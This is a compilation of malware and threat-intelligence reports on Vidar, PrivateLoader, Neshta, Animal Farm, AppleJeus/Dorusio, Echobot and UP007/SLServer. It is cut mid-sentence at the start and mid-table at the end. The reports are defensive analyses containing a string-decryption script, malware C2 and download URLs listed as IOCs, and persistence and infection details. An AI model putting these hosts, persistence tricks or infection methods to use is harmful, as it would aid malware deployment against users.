inside a VM; be sure to install a lot of stuff linked to the hypervisor (like Guest Addons tools) to trigger as many possible Anti-VM detections and closing malware. - When you have done with your activities, stop the VM and restore it with a specific clean snapshot. - Avoid storing files at a pre-destined path (Desktop, Documents, Downloads); put them in a place that is not common. - Don’t be stupid to click on cracks on YouTube, hack software for popular games, or “wonderful” easy cash money (like Free Bitcoin Program). - Flush your browser after each visit; never save your passwords directly on your browser or use auto-fill features. - Don’t use the same password for all your websites (use 2FA if possible). ## Conclusion This analysis was a kind of mystery game. It’s hard to understand if Vidar is an evolution of Arkei or a forked malware based on its code. As far as it seems, this is currently an active one and growing. A lot of updates are pushed on it regularly, probably due to the fact that this is a young (forked/copycat) malware. With the fact that this stealer was also using the skin theme of Android Lokibot (due to the cracked version), this could really confuse some minds for identifying what is the correct name of the C2, without any samples to analyze. For now, let’s see with time if we will have more answers to put the puzzle together for this stealer. On my side, if I could sum up this year, I have done way more things than I could imagine because 2018 was a really tough year, with a lot of problems and huge issues. Let’s see how this next year will be. But now, it’s time to rest and eat because there were so many sleep hours destroyed and meals skipped this year for learning stuff. Special thanks to my buddies (they will know who they are), you are the best! # Happy Hunting # See You in 2019
# Hunting PrivateLoader: Pay-Per-Install Service PrivateLoader is a downloader, first seen in early 2021. It’s part of a pay-per-install malware distribution service available on underground forums and is used by multiple threat actors to distribute ransomware, information stealers, banking trojans, downloaders, and other commodity malware on Windows machines. The malware payloads are selectively delivered to victims based on certain criteria such as location, financial activity, environment, and specific software installed. It’s delivered through websites that claim to provide cracked software. Let’s have a look at the malware and try to find a way to detect and hunt it. ## Encrypted Stack Strings Here’s a sample analyzed by Zscaler in April 2022: ``` aa2c0a9e34f9fa4cbf1780d757cc84f32a8bd005142012e91a6888167f80f4d5 ``` Let’s open it on Ghidra. Going into the entry point, following the code, and looking for interesting functions, I quickly spot the function at `0x406360`. It’s calling `LoadLibraryA`, but the `lpLibFileName` parameter is built dynamically at runtime using the stack. It seems that we found a string encryption technique. Both the string and the XOR key are loaded into the stack. Looking a bit more through the function, it seems that this is the way most of the strings are loaded. After XORing the encrypted string with the key, we get `kernel32.dll`. ## Detecting The Malware This uncommon string decryption technique can be leveraged to build a Yara rule for detection and hunting purposes. To reduce the number of false positives and increase the rule performance, we can add a plaintext Unicode string used in the C2 communication and a few minor conditions. Here’s the rule: After running this rule on VirusTotal retro hunting, I got over 1.5k samples in a 1-year timeframe. By manually analyzing some of the matches, I couldn’t find any false positives. As a first attempt at hunting and detecting PrivateLoader, this rule seems to yield good results. ## Decrypting The Strings Now, to analyze the malware faster and better understand its behavior, we should build a string decryptor to help us in our reversing efforts and better document the code. With the help of the Capstone disassembly framework, and some trial and error, here’s the script: ```python import pefile from capstone import * def search(instructions, offset): dwords = [] for inst in instructions: if inst[2] == 'mov': try: dword = int(inst[3].split(' ')[-1], 16).to_bytes(4, 'little') dwords.append(dword) except: pass # not the mov we want if inst[3].split(', ')[0].split(' ')[-1] == offset: return b''.join(dwords[::-1][:4]) # 16 bytes str chunk # disassemble .txt section pe = pefile.PE('aa2c0a9e34f9fa4cbf1780d757cc84f32a8bd005142012e91a6888167f80f4d5') md = Cs(CS_ARCH_X86, CS_MODE_32) instructions = [] for (address, size, mnemonic, op_str) in md.disasm_lite(pe.sections[0].get_data(), 0): instructions.append((address, size, mnemonic, op_str)) # search, build and decrypt strings strings = [] addr = None string = '' for i, inst in enumerate(instructions): if inst[2] == 'pxor': try: # possible string decryption found key_offset = inst[3].split(' ')[-1] key = search(instructions[:i][::-1], key_offset) insts = instructions[:i][::-1] # from pxor up for j, inst in enumerate(insts): if inst[2] == 'movaps': # encrypted string being moved to xmm1 str_offset = inst[3].split(' ')[-1] encrypted_str = search(insts[j:], str_offset) # str chunk decryption string += bytearray(key[i] ^ encrypted_str[i] for i in range(len(key))).decode() break # next chunk if not addr: addr = hex(inst[0]) if '\x00' in string: strings.append((addr, string.replace('\x00', ''))) string = '' addr = None except: pass # not the pxor we want After running it against the sample we are analyzing, we get the following strings: ``` 0x3ee GetCurrentProcess 0x469 CreateThread 0x4ba CreateFileA 0x506 Sleep 0x572 SetPriorityClass 0x5ec Shell32.dll 0x657 SHGetFolderPathA 0x83b null 0x1078 rb 0x157c http://212.193.30.45/proxies.txt 0x1795 :1080 0x1839 0x1f2d :1080 0x1fd1 : 0x26ce . 0x28ac . 0x2972 . 0x2a34 . 0x32ad http://45.144.225.57/server.txt 0x33c0 HOST: 0x346e : 0x3760 pastebin.com/raw/A7dSG1teëä 0x38a3 HOST: 0x3965 HOST: 0x3b93 http://wfsdragon.ru/api/setStats.php 0x3dcd HOST: 0x3f84 : 0x40ae 2.56.59.42 0x4350 /base/api/statistics.php 0x4439 URL: 0x44b6 : 0x4a5e https:// 0x4ad8 .tmp 0x4bf6 \ 0x53e9 kernel32.dll 0x544a WINHTTP.dll 0x54a5 wininet.dll 0x65a8 WinHttpConnect 0x6682 WinHttpOpenRequest 0x671a WinHttpQueryDataAvailable 0x67b2 WinHttpSendRequest 0x684a WinHttpReceiveResponse 0x68e2 WinHttpQueryHeaders 0x6956 WinHttpOpen 0x69b5 WinHttpReadData 0x6a20 WinHttpCloseHandle 0x6b09 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 0x7402 http:// 0x74ab / 0x7582 ? 0x851a HEAD 0x8fa8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 0x91f0 wininet.dll 0x925b InternetSetOptionA 0x92ef HttpOpenRequestA 0x938d InternetConnectA 0x9421 InternetOpenUrlA 0x949e InternetOpenA 0x94f2 HttpQueryInfoA 0x9567 InternetQueryOptionA 0x95fb HttpSendRequestA 0x9694 InternetReadFile 0x9737 InternetCloseHandle 0x97ad Kernel32.dll 0x9801 HeapAlloc 0x9852 HeapFree 0x98a3 GetProcessHeap 0x98f3 CharNextA 0x9938 User32.dll 0x9994 GetLastError 0x99e5 CreateFileA 0x9a36 WriteFile 0x9a87 CloseHandle ``` We can now go back to Ghidra and continue our analysis, now with more context of what might be the malware’s behavior. ## Network IOCs As a bonus, we get some network IOCs that can be used for defense and tracking purposes: ``` http://212.193.30.45/proxies.txt http://45.144.225.57/server.txt pastebin.com/raw/A7dSG1te http://wfsdragon.ru/api/setStats.php 2.56.59.42 /base/api/statistics.php ```
# Threat Spotlight: Neshta File Infector Endures **Tatsuya Hasegawa** **RESEARCH & INTELLIGENCE / 10.29.19** ## Executive Overview Neshta is an older file infector that is still prevalent in the wild. It was initially observed in 2003 and has been previously associated with BlackPOS malware. It prepends malicious code to infected files. This threat is commonly introduced into an environment through unintentional downloading or by other malware. It infects Windows executable files and may attack network shares and removable storage devices. In 2018, Neshta predominantly targeted the manufacturing industry, but attacked the finance, consumer goods, and energy sectors as well. To achieve persistence, Neshta renames itself to `svchost.com` and modifies the registry so it runs each time an .exe file is launched. This threat is known to collect system information and use POST requests to exfiltrate data to attacker-controlled servers. The Neshta binaries used in our analysis did not demonstrate the data exfiltration behavior or functionality. ## Technical Analysis This section describes the symptoms of a Neshta infection. We picked samples of the Neshta virus uploaded to VirusTotal in 2007, 2008, and 2019. We analyzed files with these SHA-256 hashes: - 29fd307edb4cfa4400a586d38116a90ce91233a3fc277de1cab7890e681c409a - 980bac6c9afe8efc9c6fe459a5f77213b0d8524eb00de82437288eb96138b9a2 - 539452719c057f59238e123c80a0a10a0b577c4d8af7a5447903955e6cf7aa3d - a4d0865565180988c3d9dbf5ce35b7c17bac6458ef234cfed82b4664116851f2 - 46200c11811058e6d1173a2279213d0b7ccde611590e427b3b28c0f684192d00 - c965f9503353ecd6971466d32c1ad2083a5475ce64aadc0b99ac13e2d2c31b75 ### Static File Analysis Neshta’s code is compiled by Boland Delphi 4.0. The file size is usually 41,472 bytes. As any Delphi binary, Neshta has four writable sections (DATA, BSS, .idata, and .tls) and three sharable sections (.rdata, .reloc, and .rsrc): In addition, Neshta code displays interesting fingerprint strings: “Delphi-the best. F*** off all the rest. Neshta 1.0 Made in Belarus. Прывiтанне усiм ~цiкавым~ беларус_кiм дзяучатам. Аляксандр Рыгоравiч, вам таксама :) Восень-кепская пара... Алiварыя - лепшае пiва! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]” The Belarusian strings say: “Hello everyone ~ ~ interesting belarus_kim girls. Alexander G., you too :) osen- bad couple ... Alivaryya - the best beer!” ### File Infection Neshta’s main feature is its file infector which searches local drives for .exe files. Neshta targets “.exe” files making exceptions for the ones that contain any of the following strings in their short path: - %Temp% - %SystemRoot% (usually C:\Windows) - \PROGRA~1\ The infection flow summary is described below: 1. Reads 41,472 (0xA200) bytes from the beginning of the target original file. 2. Creates two sections and allocates memory with the attribute of PAGE_READWRITE on the original file’s beginning and bottom. 3. Inserts its malicious header and code at the beginning of the original file. The written data is 41,472 bytes. 4. Writes the encoded original header and code to the file, which is 41,472 bytes in size. These actions enable the malicious code to launch as soon as the infected file is executed. When the infected file is executed, the original program is dropped into `%Temp%\3582-490\<filename>` and run by the WinExec API. ### Persistence Neshta drops itself to `C:\Windows\svchost.com` and installs itself into the registry using the following parameters: - **Registry key:** HKLM\SOFTWARE\Classes\exefile\shell\open\command - **Registry value:** (Default) - **Value:** %SystemRoot%\svchost.com "%1" %* This registry change directs the system to run Neshta each time an .exe file is launched. The "%1" %* points to the launched .exe file. In addition, Neshta creates a named mutex to check for the existence of another running instance: Another dropped file is “directx.sys” which is sent to `%SystemRoot%`. This is a text file (not a kernel driver) which contains the path of the last infected file to run. It is updated every time an infected file is executed. ## BlackBerry Cylance Stops Neshta BlackBerry Cylance uses artificial intelligence-based agents trained for threat detection on millions of both safe and unsafe files. Our automated security agents block Neshta based on countless file attributes and malicious behaviors instead of relying on a specific file signature. BlackBerry Cylance, which offers a predictive advantage over zero-day threats, is trained on and effective against both new and legacy cyberattacks. ## Appendix ### Indicators of Compromise (IOCs) **Hashes:** - 29fd307edb4cfa4400a586d38116a90ce91233a3fc277de1cab7890e681c409a - 980bac6c9afe8efc9c6fe459a5f77213b0d8524eb00de82437288eb96138b9a2 - 539452719c057f59238e123c80a0a10a0b577c4d8af7a5447903955e6cf7aa3d - a4d0865565180988c3d9dbf5ce35b7c17bac6458ef234cfed82b4664116851f2 - 46200c11811058e6d1173a2279213d0b7ccde611590e427b3b28c0f684192d00 - c965f9503353ecd6971466d32c1ad2083a5475ce64aadc0b99ac13e2d2c31b75 **Filenames:** - %SystemRoot%\svchost.com - %SystemRoot%\directx.sys - %Temp%\tmp5023.tmp **Mutexes:** - MutexPolesskayaGlush*.*<0x90>svchost.com<0x90>exefile\shell\open\command‹À "%1" %*œ‘@ **Interesting strings:** - Delphi-the best. F**k off all the rest. Neshta 1.0 Made in Belarus. Прывiтанне усiм ~цiкавым~ беларус_кiм дзяучатам. Аляксандр Рыгоравiч, вам таксама :) Восень-кепская пара... Алiварыя - лепшае пiва! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] **SHA256:** 29fd307edb4cfa4400a586d38116a90ce91233a3fc277de1cab7890e681c409a **Type:** PE32 executable (GUI) Intel 80386, for MS Windows **Size:** 41472 **Timestamp:** 1992:06:20 07:22:17+09:00 **ITW names:** Svchost[.]com **About Tatsuya Hasegawa** Senior Threat Researcher at BlackBerry Cylance. Tatsuya Hasegawa is a Senior Threat Researcher in APAC at BlackBerry, and is responsible for malware analysis and sandbox technology. He has practical experience in both managed security service provider as a security analyst and CSIRT as an incident handler. His certifications include: GREM, GCIH, GCFA, GXPN, GPEN, and CISSP.
# Animals in the APT Farm By GReAT In 2014, researchers at Kaspersky Lab discovered and reported on three zero-days that were being used in cyberattacks in the wild. Two of these zero-day vulnerabilities are associated with an advanced threat actor we call Animal Farm. Over the past few years, Animal Farm has targeted a wide range of global organizations. Victims include: - Government organizations - Military contractors - Humanitarian aid organizations - Private companies - Journalists and media organizations - Activists Our colleagues at Cyphort, G-DATA, and ESET have recently published blogs about Bunny, Casper, and Babar, some of the Trojans used by the Animal Farm group. The Farm includes several Trojans, which we have grouped into six major families. Here’s a brief description of the animals in the farm: - **Bunny** – an old “validator”-style Trojan used with a PDF zero-day attack in 2011. - **Dino** – a full-featured espionage platform. - **Babar** – the most sophisticated espionage platform from the Animal Farm group. - **NBot** – malware used in a botnet-style operation by the group. It has DDoS capabilities. - **Tafacalou** – a validator-style Trojan used by the attackers in recent years. Confirmed victims get upgraded to Dino or Babar. - **Casper** – the most recent “validator”-style implant from the Animal Farm group. The group has been active since at least 2009, and there are signs that earlier malware versions were developed as far back as 2007. Over the years, we have tracked multiple campaigns by the Animal Farm group. These can be identified by a specific code found either in the malware configuration or extracted from the C&C logs. Most recently, the group deployed the Casper Trojan via a watering-hole attack in Syria. A full description of this zero-day attack can be found in this blog post by Kaspersky Lab’s Vyacheslav Zakorzhevsky. In addition to these, the Animal Farm attackers used at least one unknown, mysterious malware during an operation targeting computer users in Burkina Faso. ## KSN & Sinkholing statistics During the investigation, we sinkholed a large number of C&C servers used by the Animal Farm group. This allowed us to compile a comprehensive picture of both targets and victims. The malware known as Tafacalou (aka “TFC”, “Transporter”) is perhaps of greatest interest here, because it acts as an entry point for the more sophisticated spy platforms Babar and Dino. Based on the Tafacalou infection logs, we observed that most of the victims are in the following countries: Syria, Iran, Malaysia, USA, China, Turkey, Netherlands, Germany, Great Britain, Russia, Sweden, Austria, Algeria, Israel, Iraq, Morocco, New Zealand, Ukraine. ### What does “Tafacalou” mean? “Tafacalou” is the attacker’s internal name for one of the validator (1st stage) Trojans. We tried various spellings of this word to see if it means anything in a specific language, and the most interesting option is one with its origins in the Occitan language: “Ta Fa Calou.” The expression “Fa Calou” is the French interpretation of the Occitane “Fa Calor” which means “it’s getting hot.” ‘Ta Fa Calou” could therefore be taken to mean “so it’s getting hot” based on the Occitan language. According to Wikipedia: ‘Occitan is a Romance language spoken in southern France, Italy’s Occitan Valleys, Monaco, and Spain’s Val d’Aran; collectively, these regions are sometimes referred to unofficially as “Occitania.” Note: A detailed technical report on Animal Farm is available to customers of Kaspersky Intelligent Services. For more information, contact [email protected].
# AppleJeus: Dorusio Malware Analysis Report **Date:** 2021-02-12 ## Summary This Malware Analysis Report (MAR) is the result of analytic efforts among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Department of Treasury to highlight the cyber threat to cryptocurrency posed by North Korea, formally known as the Democratic People's Republic of Korea (DPRK), and provide mitigation recommendations. These agencies attribute the threat to North Korean state-sponsored advanced persistent threat (APT) actors targeting individuals and companies, including exchanges and financial service companies, through the dissemination of cryptocurrency trading applications modified to include malware for the theft of cryptocurrency. This MAR highlights the cyber threat posed by North Korea and provides detailed indicators of compromise (IOCs) used by the North Korean government, referred to as HIDDEN COBRA. There have been multiple versions of AppleJeus malware discovered since its initial discovery in August 2018. In most versions, the malware appears as a legitimate-looking cryptocurrency trading company and website, whereby an unsuspecting individual downloads a third-party application from a website that appears legitimate. The U.S. Government has identified AppleJeus malware version Dorusio and associated IOCs used by the North Korean government. Information has been redacted from this report to preserve victim anonymity. Dorusio, discovered in March 2020, is a legitimate-looking cryptocurrency trading software marketed and distributed by a company and website that appear legitimate. There are Windows and OSX versions of Dorusio Wallet. As of at least early 2020, the download page has been inaccessible, resulting in 404 errors. The download page has release notes with version revisions claiming to start with Version 1.0.0, released on April 15, 2020. ## Submitted Files (6) - [Redacted] (dorusio_osx_v2.1.0.dmg) - 21afaceee5fab15948a5a724222c948ad17cad181bf514a680267abcce186831 (DorusioUpgrade.exe) - [Redacted] (dorusio_win_v2.1.0.msi) - 78b56a1385f2a92f3c9404f71731088646aac6c2c84cc19a449976272dab418f (Dorusio.exe) - a0c461c94ba9f1573c7253666d218b3343d24bfa5d8ef270ee9bc74b7856e492 (Dorusio) - dcb232409c799f6ddfe4bc0566161c2d0b372db6095a0018e6059e34c2b79c61 (dorusio_upgrade) ## Domains (1) - dorusio.com ## Findings ### Details **Name:** dorusio_win_v2.1.0.msi **Size:** 141426176 bytes **Type:** Installation Database **MD5:** [Redacted] **SHA1:** [Redacted] **SHA256:** [Redacted] **SHA512:** [Redacted] **ssdeep:** [Redacted] **Entropy:** [Redacted] **Antivirus:** No matches found. **YARA Rules:** No matches found. **ssdeep Matches:** No matches found. ### Description This Windows program from the Dorusio Wallet site is a Windows MSI Installer. This installer appears to be legitimate and will install "Dorusio.exe" in the “C:\Program Files (x86)\Dorusio” folder. It will also install "DorusioUpgrade.exe" in the “C:\Users\<username>\AppData\Roaming\DorusioSupport”. During installation, the installer launches "DorusioUpgrade.exe." ### Screenshots - **Figure 1:** Screenshot of the Dorusio Wallet installation. ### Whois **Registrar:** NAMECHEAP INC **Creation Date:** 2020-03-30 **Registrar Registration Expiration Date:** 2021-03-30 ### Relationships - [Redacted] Downloaded_By dorusio.com - [Redacted] Contains 78b56a1385f2a92f3c9404f71731088646aac6c2c84cc19a449976272dab418f - [Redacted] Contains 21afaceee5fab15948a5a724222c948ad17cad181bf514a680267abcce186831 ### Recommendations CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organizations: - Maintain up-to-date antivirus signatures and engines. - Keep operating system patches up-to-date. - Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication. - Restrict users' ability (permissions) to install and run unwanted software applications. - Enforce a strong password policy and implement regular password changes. - Exercise caution when opening e-mail attachments. - Enable a personal firewall on agency workstations. - Disable unnecessary services on agency workstations and servers. - Scan for and remove suspicious e-mail attachments. - Monitor users' web browsing habits. - Exercise caution when using removable media. - Scan all software downloaded from the Internet prior to executing. - Maintain situational awareness of the latest threats. Additional information on malware incident prevention and handling can be found in NIST Special Publication "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".
# Echobot Malware Now up to 71 Exploits, Targeting SCADA December 17, 2019 F5 Networks researchers have detected a new variant of the "Echobot" malware, now consisting of 71 exploits. The authors continue to follow the trend of arming the malware and expanding its operation. These newly added exploits target both old and new vulnerabilities, including industrial control system devices from Mitsubishi, Barracuda web app firewall, Citrix NetScaler application delivery controllers, video conferencing systems, and additional network and endpoint administration tools. Earlier this year, Palo Alto Networks reported a new variant from the Mirai malware family, dubbed "Echobot" after the dropped file name of the malware. Initial versions of the malware used 26 exploits to propagate itself. Later in August of 2019, it was reported to go over 50 exploits. So at 71, we are seeing substantial growth in Echobot’s attack capability. ## New Target: Factory Automation Systems Although the core malware functionality of this latest variant hasn't changed much since inception, the addition of a variety of new exploits puts new systems into its crosshairs. While most of the Mirai variants target IoT devices, such as home routers and IP cameras, this version of Echobot adds an outstanding exploit for CVE-2019-14927, which targets Mitsubishi Electric‘s Remote Terminal Unit (RTU). The Mitsubishi RTU is an industrial controller with remote access to communicate with SCADA systems in the oil and gas industry, power industry, and others. Industrial control systems have seen an increase in attacks over the past years, including some chilling suggestions of possible cyber-terrorism attacks. However, it is uncommon for general-purpose botnets like Mirai to include exploits targeting a specific component such as the Mitsubishi RTU. While industrial controller systems are essential components responsible for running critical infrastructure, they were never designed to be Internet-connected and are therefore notoriously known for security-related flaws. Echobot leverages that weakness, making it more dangerous than before. In September 2019, the U.S. Department of Homeland Security issued an alert to address Mitsubishi's RTU vulnerability. The alert followed a publication of a proof-of-concept exploit by a researcher known as @xerubus, who discovered and responsibly reported this vulnerability. Industrial control systems are known to be very difficult to patch due to the risks involved while introducing configuration changes to critical infrastructure systems. This means there is a larger vulnerability exposure window compared to traditional IT systems, which provides attackers with a much larger opportunity to exploit new vulnerabilities. ## Analysis of the Exploits In the beginning, Echobot consisted of a very odd mix of exploits. Initial Mirai variants targeted IoT devices, such as home routers, digital surveillance cameras, and cable modems. Over time, the targets extended to smart devices and web servers. Echobot is a very prominent variant in the Mirai landscape, adding to its prey: corporate network devices, network and enterprise management systems, video conferencing, voice over IP, and Iris recognition platforms. This new Echobot variant builds upon that with similar newer systems, while also adding another old exploit for the Barracuda firewall and for the Citrix NetScaler application delivery controller. Often, Mirai variants add relatively current exploits to get better chances to recruit devices. However, this version leverages an exploit from 2003, targeting the online payment platform CCBill. At the same time, Echobot added four exploits to its arsenal from 2019, while the latest one is from August 2019, targeting Webmin Linux/Unix administration panel (CVE-2019-15107). This indicates the authors are looking to exploit both legacy and new systems that have fallen through the cracks in a patch management program. The newly added exploits to Echobot are listed below: | Exploit Name | CVE | Targeted System | |---------------|-----|------------------| | ACTi ASOC 2200 Web Configurator RCE | Unassigned (2011) | Video surveillance | | AVCON6 systems management platform - OGNL Remote Command Execution | Unassigned (2018) | Video conferencing system | | Barracuda Spam Firewall 3.3.x - 'preview_email.cgi?file' Arbitrary File Access | CVE-2006-4000 | Firewall | | CCBILL CGI - 'ccbillx.c' 'whereami.cgi' Remote Code Execution | Unassigned (2003) | Online payment platform | | Enigma NMS 65.0.0 OS Command Injection | CVE-2019-16072 | Enterprise Network Management software | | NetGain Enterprise Manager Command Injection | CVE-2017-16608 | IT infrastructure monitoring | | Citrix/Netscaler SD-WAN 9.1.2.26.561201 - Command Injection | CVE-2017-6316 | Application delivery controller | | 3Com OfficeConnect - Code Execution | Unassigned (2009) | Router | | Ruby on Rails - Dynamic Render File Upload / Remote Code Execution | CVE-2016-0752 | Web Application | | Sar2HTML 3.2.1 - Remote Command Execution | Unassigned (2019) | Linux/Unix performance monitoring | | Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated OS Command Injection Bind Shell | CVE-2019-14927 | Remote Terminal Unit based monitoring and control | | Thomson Reuters Velocity Analytics Remote Code Injection | CVE-2013-5912 | Analytics platform | | Webmin RCE <=1.920 | CVE-2019-15107 | Linux/Unix administration system | | Yachtcontrol Webapplication 1.0 - Unauthenticated Remote Code Execution | CVE-2019-17270 | Webservers | | Technicolor TD5130v2 Technicolor TD5336 | CVE-2019–18396 | Router | ## Attack Infrastructure Echobot uses its arsenal to spread a dropper, which is a bash script named "Richard." The dropper instructs the system to download Echobot and compile and execute it for no fewer than 13 different processor architectures. These hacked servers are then used to host and spread more malware to new targets, adding more machines to the botnet. The Echobot malware itself is hosted on a different server than previously reported. The malware hosting server is now a hacked Unraid network attached storage (NAS) system that is completely exposed, allowing anyone to gain full admin access using a user-friendly GUI terminal. Not surprisingly, these servers were taken over by malicious actors, but it is unknown exactly how the server was exploited. However, it appears that SSH and Telnet services are exposed without any password required. Also, Mirai is known for having credential brute-force capabilities, so this is likely the attackers’ entry point. Reviewing the files on that system, it seems that the attackers just recently uploaded the new malware variant to the hacked server. The other attacking Echobot IPs appear to be infected web servers mostly located in the U.S. and in Europe. Half of those servers are hosted on DreamHost. An example of an infected web server is shown. The services running on the servers are not vectors in the malware's arsenal, so they were most likely brute-forced to gain control of them. ## Conclusion Mirai has been around for a few years now, and variants of the original malware have been used all over the world to create botnets. F5 Labs recently wrote in its ongoing “Hunt for IoT” research series that devices are so easy to compromise, preteens are doing it. There is no sign that IoT botnets will disappear anytime soon, and we expect new variants to keep appearing. Echobot remains a threat, and the expanding scope of its exploits indicates it will not be slowing down anytime soon. Echobot's shifting focus to factory automation is notable and may indicate a future direction for botnet-building threat actors. To keep the threat at bay, enterprises should consider implementing a patch management system in order to mitigate the risk of vulnerable systems on their networks. ## IOCs **Attacking servers:** - 208.97.139[.]102 - 208.113.204[.]109 - 208.97.139[.]121 - 68.5.101[.]90 - 149.202.251[.]78 - 208.97.139[.]112 - 208.97.139[.]113 - 59.151.12[.]249 - 45.27.247[.]144 - 208.113.204[.]147 - 208.113.204[.]14 - 68.94.227[.]128 - 188.130.33[.]11 - 208.97.137[.]152 - 208.97.138[.]83 **"Richard" (dropper):** - 145.249.106[.]241 **Hashes:** - 145.249.106.241/richard - 0e87d4a97b64beb7fe27e0b21d73eb0da353467d99710566dda8b07f953798ef - 145.249.106.241/ECHOBOT.arm - a96515f745f07be9a512a2d0502c59b5ee2ef8d14ff0adaab3558e97d616c017 - 145.249.106.241/ECHOBOT.arm4 - c93f08a29512132ba8ac44092613fe6a8e9e192c8155cbbd62b28823b718f7e7 - 145.249.106.241/ECHOBOT.arm5 - 886d6c4b7d952830184c2bcb95242db006e5f2cbbbc7757516efd5c4c48eba16 - 145.249.106.241/ECHOBOT.arm6 - 23ff9c0f3baab717c9753604235a1069c15a5fd9b2f1a626889d7e56186dbe48 - 145.249.106.241/ECHOBOT.arm7 - db4a5bf82bffa1a5c4444facbdbf4f1c6938a7e0227c9740b3780c8659802cc0 - 145.249.106.241/ECHOBOT.i686 - ef5fcc5391f580ed91745b0678ee4c605e65bde3fad5e434f89372445f9a5a64 - 145.249.106.241/ECHOBOT.m68k - 9d0dc6705ca42183ebe0fa766d453ee90d68e38b6d6cf5745cf550ea5f2b372c - 145.249.106.241/ECHOBOT.mips - c8992488a49544762eababe5cfbf5304b770c48cd5e8ae47aa71d3a013c114af - 145.249.106.241/ECHOBOT.mpsl - 4ccb9683182b2c8512b12ffa1dbdf22dbad8e5cbc3bb9efb85fe3c6f2b19cba3 - 145.249.106.241/ECHOBOT.ppc - e0f2273b695a0579bb528eaa0d389a01e9fe5e1c458aa784433d7e23b9f56e74 - 145.249.106.241/ECHOBOT.sh4 - 6a58e30de7842d7c30398c24395ae02762b8b7e3598bb8d2915299ee6bee7b02 - 145.249.106.241/ECHOBOT.spc - 1f23ddd77881a8cc95587b91c91fcf71175efafafd9b5b08c12a7e81c18ff378 - 145.249.106.241/ECHOBOT.x86 - f7568d22f7cb83f5587ced9eac15c850ea9f0a552252fe40c38369e9b17d21b7 ## Security Controls Enterprises should consider implementing the following security controls based on their specific circumstances:
# Between Hong Kong and Burma: Tracking UP007 and SLServer Espionage Campaigns **April 18, 2016** **Tagged:** Burma, Hong Kong, Malware, Targeted Threats **Categories:** Jakub Dalek, Masashi Crete-Nishihata, Matthew Brooks, Reports and Briefings, Research News ## Summary In this research note, we analyze an espionage campaign targeting Hong Kong democracy activists. Two new malware families are used in this campaign that we name UP007 and SLServer. The UP007 malware family was previously observed by Arbor Security Emergency Response Team (ASERT) in the report “Uncovering the Seven Pointed Dagger,” which analyzes a set of samples that were hosted on the national level electoral commission of Myanmar (Burma): the Myanmar Union Election Commission. One of the samples analyzed was described as “unknown malware,” which we call UP007 based on an identifier in the malware’s network traffic. In a report released today, ASERT describes a series of campaigns targeting Tibetan, Hong Kong, and Taiwanese interests, which also includes details on the same UP007 sample we analyze. A recent PricewaterhouseCoopers (PwC) report includes analysis of the SLServer sample we analyze (PwC refers to the family as SunOrcal). We refer to the malware as SLServer due to a resource dialog in the file. These previous reports collected samples from VirusTotal. We received the original email lure and samples used in the campaign from a targeted source and found that both UP007 and SLServer were sent to targets in the same attack. This research note builds on previous reporting by more closely examining UP007 and SLServer, variations of these samples found “in the wild,” and the connections between these attacks and other campaigns. Previous reports have shown overlap in the tactics, techniques, and procedures used in this campaign in other operations targeting groups in Burma, Hong Kong, and the Tibetan community. We speculate that either a single threat actor is targeting these groups or some level of formal or informal resource sharing is occurring between the operators behind the campaigns. ## Espionage Campaign Targeting Hong Kong Activists In the week prior to the January 2016 Taiwanese General Election, Hong Kong-based pro-democracy activists received a targeted email purporting to come from a Taiwanese non-profit organization with information about the upcoming election. The email included a Google Drive link to a RAR archive file: “2016總統選舉民情中心預測值.rar,” which translates to “Predictive Forecast from Centre of Public Sentiment in 2016 Presidential Elections.rar.” ### Translated Email Text: To recipients: Jinshen Tu, Zhifeng Huang, and Xiuxian Zhang. The 2016 general election enters its crucial final 10 days, and 73 electoral districts conclude their voting (1041229); Centre of Public Sentiment’s predicted forecast in the 2016 presidential elections (104.12.28). The 2016 Election enters its crucial final 10 days. On the 6th, Ing-wen Tsai, the DPP (Democratic Progressive Party) candidate, called on DPP supporters to consolidate their votes. She warned that the intense internal competition within the DPP had caused people to be worried about a splitting of the votes, potentially leading to the loss of the 15th and 16th seats. The election day is on the 16th. Besides the presidential election, there is also the legislative election which includes district seats and non-district seats. There are 34 non-district seats in total, of which the DPP won 13 during the last election. Given the higher degree of support this time, the DPP should be able to secure 16 seats. But as the New Power Party’s (NPP) influence and support grows, it might threaten the DPP. In order to promote support for non-district legislators, the DPP Central Standing Committee organized a campaign event this afternoon. The chairwoman of the DPP, Ing-wen Tsai, said there are only ten days left before the election, and the three things she worried the most about were: 1) ballot bribery, which may cause DPP’s loss in certain swing areas; 2) whether young people would return home to vote on Jan 16th; 3) vote splitting that may lead good candidates to lose in non-district legislative elections. ### Delivery Mechanism We have observed the use of Google Drive links as a delivery vector in recent campaigns targeting Tibetan organizations. In these campaigns, Google Drive links were used to send malware and phishing pages. We have also seen the tactic used in recent espionage campaigns targeting an NGO working on environmental issues in Southeast Asia. The prior use of Google Drive as a delivery vector against Tibetan groups is significant, as Tibetan groups are promoting Google Drive as an alternative to sending file attachments to prevent infection from document-based malware. ## Examining the RAR Archive Within the linked RAR archive, the top three directories contain a mix of malicious and benign documents, as well as shortcuts that run two executables that are deeply nested within hidden directories in the archive. The file structure of this archive is shown in Figure 2. The top level directory of this archive contains a benign Word document named 聲明.doc, which translates to “Statement.doc.” The text of this document is written in Chinese and is related to the Taiwanese election. ### Document Text: 73個立委選區選情研判(1041229), 2016總統選舉民情中心預測值(104.12.28). 文件內容僅代表個人立場,僅供參閱。解壓選舉民情中心預測值到桌面即可查閱全部數據. ### English Translation: Election polling of 73 legislative electoral districts (12/29/104). Predicted forecast from Centre of Public Sentiment in the 2016 presidential elections (12/28/104). All the documents represent personal views and are for reference only. Unzip Election Polling Centre’s forecast to the desktop to view all data. The first two directories contain separate Windows shortcuts, each of which runs an executable that is nested down in seven hidden subdirectories. ### Sample Overview | Filename | Sample MD5 | AV Detection Rate | |----------|------------|-------------------| | fzyy.exe | 